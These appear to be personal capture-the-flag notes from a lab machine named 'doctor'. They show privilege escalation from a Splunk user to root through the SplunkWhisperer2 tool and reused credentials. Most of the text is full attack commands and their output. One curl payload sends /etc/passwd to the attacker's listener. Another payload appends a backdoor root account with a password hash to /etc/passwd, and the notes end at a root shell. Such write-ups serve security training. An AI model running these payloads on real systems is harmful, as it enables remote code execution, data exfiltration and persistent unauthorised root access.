6 :8089 privesc splunk > root

# shaun:Guitar123 same creds for splunk

Using https://github.com/cnotin/SplunkWhisperer2.git
|https://book.hacktricks.xyz/linux-unix/privilege-escalation/splunk-lpe-and-persistence

$ python PySplunkWhisperer2_remote.py --scheme https --username shaun --password Guitar123 --host 10.10.10.209 --lhost 10.10.16.5 --payload "curl -F 'data=@/etc/passwd' http://10.10.16.5:4444"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpUWC3ie.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.16.5:8181/
10.10.10.209 - - [17/Sep/2021 23:59:24] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.209] 41908
POST / HTTP/1.1
Host: 10.10.16.5:4444
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 3170
Content-Type: multipart/form-data; boundary=------------------------bdf11350370b4d64
Expect: 100-continue

--------------------------bdf11350370b4d64
Content-Disposition: form-data; name="data"; filename="passwd"
Content-Type: application/octet-stream

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
web:x:1001:1001:,,,:/home/web:/bin/bash
_rpc:x:126:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:127:65534::/var/lib/nfs:/usr/sbin/nologin
exim:x:31:31:Exim Daemon:/dev/null:/bin/false
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash

--------------------------bdf11350370b4d64--

# we can get /etc/shadow also, so we are root

# adding ourselves to /etc/passwd
$ python PySplunkWhisperer2_remote.py --scheme https --username shaun --password Guitar123 --host 10.10.10.209 --lhost 10.10.16.5 --payload "echo 'kashz:cAZZtf3ncxRAY:0:0:root:/root:/bin/bash' >> /etc/passwd"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpnxzIO1.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.16.5:8181/
10.10.10.209 - - [18/Sep/2021 00:01:48] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

shaun@doctor:~$ cat /etc/passwd | tail -n 1
kashz:cAZZtf3ncxRAY:0:0:root:/root:/bin/bash

shaun@doctor:~$ su kashz
Password:
root@doctor:/home/shaun# whoami;id;hostname
root
uid=0(root) gid=0(root) groups=0(root)
doctor